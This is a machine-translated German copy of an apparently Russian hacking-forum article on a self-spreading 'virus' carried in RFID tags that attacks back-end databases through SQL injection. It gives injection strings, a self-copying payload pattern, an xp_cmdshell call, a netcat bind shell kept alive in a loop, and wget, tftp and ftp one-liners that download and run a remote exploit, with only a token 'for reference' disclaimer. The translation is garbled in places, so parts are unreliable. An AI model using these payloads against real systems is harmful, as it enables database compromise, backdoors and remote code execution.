This page has been robot translated, sorry for typos if any. Original content here.

Virus im RFID-Hacking, Struktur.


{Einführung}

In diesem Artikel eine Hinzufügung zum Thema RFID-Hacking. Die Grundlagen und der Anfang sind im ersten Artikel unter http://forum.antichat.ru/thread123511.html beschrieben. Daraus haben wir gelernt, dass RFID ein Radio Frequency IDentification-Verfahren zur Fernspeicherung und zum Empfang von Informationen durch die Übertragung von Funksignalen unter Verwendung von Geräten ist, die als RFID-Tags bezeichnet werden.

{Über Parasiten}

Die Hauptfunktionen des Virus bei dieser Art von Angriff sind das Kopieren und die Ausführung von beliebigem Code. Für diese Zwecke verwendet der Parasit normalerweise eine Datenbank. Details hängen von der verwendeten Datenbank ab. Im Allgemeinen können Sie bei dieser Art von Attacken zwei Klassen von Viren unterscheiden: Die erste verwendet willkürliche Abfragen in der Datenbank, die zweite wird mit Quines (Spezialprogramm) implementiert.
Der beliebige Code, den ein Virus ausführen kann, hängt von den Mechanismen der Datenbankantwort auf SQL-Injektionen ab.


{SQL-Injektion}

In Verwaltungssystemen wird üblicherweise die Methode der Abfrage von RFID-Tags aus der Datenbank verwendet, wobei anschließend Daten zurückgegeben werden, die wiederum in der richtigen Reihenfolge kopiert werden können. Kopieren Sie also die Tags selbst, wenn bestimmte Faktoren vorhanden sind.

Im Moment können Sie zwei Arten von Viren berücksichtigen, das erste ist ein einzelnes Anforderungsprogramm und das zweite ist die Verwendung mehrerer Anforderungen.
Die erste Art von Virus verwendet ein Minimum an Speicherplatz und kann in seiner Struktur keine Kampflast tragen. Und es wird nur für die Eingabe von bereits geplanten Informationen in die Datenbank verwendet. Ein Virus, der im Gegenteil mehrere Anfragen verwendet, wird bereits erstellt, um die Systeme der Autoindikation zu infizieren und schädlichen Code oder eine andere Kampflast einzugeben. Meistens wird die zweite Methode verwendet, aber für einen korrekten Betrieb, diese Art von Virus ist es erforderlich, dass einige Bedingungen in der Datenbank richtig eingehalten werden, und dies soll die Funktion der Funktion GetCurrentQuery-style für den Zugriff sicherstellen. Dies ist notwendig, um einen Fehler zu vermeiden, da Sie mit dieser API-Funktion einen Kommentar eingeben können. (Ich möchte Sie beruhigen, diese Funktionen sind ursprünglich in den Standardsystemen enthalten)

Spezifische Angriffe können ausgeführt werden, wenn die Datenbank eine Anfrage im Label gemacht hat und sie mit einem solchen Inhalt beantwortet hat
UPDATE ContainerContents SET AltContents = '% Inhalt%' WHERE TagID = '% ID%'

Hier sind die Variablen contents und id

Wenn diese Anfrage ohne Fehler weitergeleitet wird, kann der Angreifer die Anfrage nach eigenem Ermessen mit Hilfe unseres Lieblingszitats ('') ändern. Und was kann ich tun, ??? Und dies ist nur eine One-Shot-Kopie in den NewContents-Bereich und infizieren andere Systeme auf die gleiche Weise.

Hier ist ungefähr, was wir brauchen:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur den Bereich OldContents zu aktualisieren, aktualisiert die Abfrage jetzt auch den Bereich NewContents. Mit dem SQL-Kommentar (-) werden alle Zeilen in der Datenbank verschoben. Das eröffnet neue Möglichkeiten für den Angreifer.

Schadcode einfügen.

Bei der oben beschriebenen Injektionstechnologie ist es unmöglich, irgendeinen anderen Code als Abfragen in der Datenbank auszuführen. Wenn jedoch von der Clientseite des Skripts aktiviert, wird der Server automatisch anfällig. Skripte können nach dem Kommentar eingefügt werden, so dass das Datenbanksystem sie ignoriert.
Das Einzige, was berücksichtigt werden muss, ist, dass Sie den dritten Parameter SUBSTR berücksichtigen müssen, der mit der Länge des Exploits übereinstimmt, wenn Sie den Code in den Exploit einschließen.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer ernsteren Version mit der Verwendung von Variablen und fügt nicht nur einige bestimmte Quietschen ein, sieht das so aus:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Hier sollte der Schadcode zweimal bearbeitet werden, dh zum ersten Mal, dies kopiert sich selbst in die Datenbank, das zweite Mal ist die Erfüllung von sich selbst.

Im Moment ist die Kommentarfunktion in Oracle vorhanden (OCI / iSQL * Plus). Diese Funktion bietet die Funktionalität des GetCurrentQuery-Stils mit nachfolgenden Administratorrechten. PostgreSQL, MySQL und SQL Server ermöglichen auch Kommentare und Mehrfachinjektionsanforderungen. Auch hier ist die Funktionalität des GetCurrentQuery-Stils vorhanden. Für PostgreSQL und SQL Server gibt es jedoch noch keine zuverlässigen Arbeitsviren, alles war nur durch die Testentwicklung begrenzt.


{Einige Beispiele für schädlichen Code, der injiziert wird}

Systemverwaltungsfunktionen, die von Datenbanken bereitgestellt werden, können verwendet werden, um Probleme zu verursachen. Beispielsweise bietet der Microsoft SQL Server eine CLOSE-Funktion, mit der die Datenbank von SQL privat sein kann.
Daten aus der Datenbank lesen
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' Daten in der folgenden Abfrage können für direkte Anfragen an die Datenbank verwendet werden.
'|| (SELECT ...) ||'
In diesem Fall führen die Zitate eine SQL-Injektion aus und bewirken, dass die Daten als Code interpretiert werden. || Der Operator führt eine Sequenzverknüpfung durch, wodurch das Ergebnis der SELECT-Abfrage zur Region in der Datenbank hinzugefügt wird. Ein Sequenzverbindungsoperator ist erforderlich, um den Kommentar zu nitrieren, der unsere Lieblingszitate ist.


{Shell-Befehle über SQL-Injektion ausführen}

Der SQL-Server stellt eine xp_cmdshell-Prozedur bereit, mit der bösartige und nicht sehr ausführbare Befehle ausgeführt werden können.
EXEC Master..xp_cmdshell 'commands';

{Backdoors auf dem System installieren}

Um das System zu entschärfen, benötigen wir die folgenden Befehle
netcat -lp1234|sh
wo der 1234-Port gehört wird.

Aber hier sind wir gefangen von der Gefahr einer etablierten und richtig konfigurierten Firewall oder Brandmauer. Und dann gibt es die Lösung. Führen Sie den Code in einer Endlosschleife aus, damit er wie ein Dämon funktioniert, der es Ihnen ermöglicht, ein fortgeschritteneres Back-End zu erstellen.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Weitere Funktionen}

Es gibt immer noch nützliche Funktionen, zum Beispiel wget. Es ist einfach, eine Datei über das Netzwerk herunterzuladen und die Datei im System zu speichern.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
Wget ist normalerweise nicht auf Windows-Systemen verfügbar. In diesem Fall müssen Sie tftp verwenden
tftp -i ip GET myexploit.exe & myexploit
Sie können auch eine Textdatei erstellen, wie Sie spontan sagen, indem Sie die Echofunktion verwenden
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

In diesem Artikel wird das Eindringen in ein verwundbares System durch die Programmierung von RFID-Tags beschrieben. Selbstverständlich muss ich natürlich darauf hinweisen, dass das gesamte präsentierte Material nur als Referenz dient. Angesichts der Komplexität der Implementierung der Technologie, nämlich der Erstellung des Etiketts selbst und der Programmierung mit böswilliger Absicht, scheint es mir für einen einfachen Menschen schwierig. Also warne ich Menschen, die sachkundig sind, aber im Leerlauf sind, diese Informationen nicht in der Praxis überprüfen.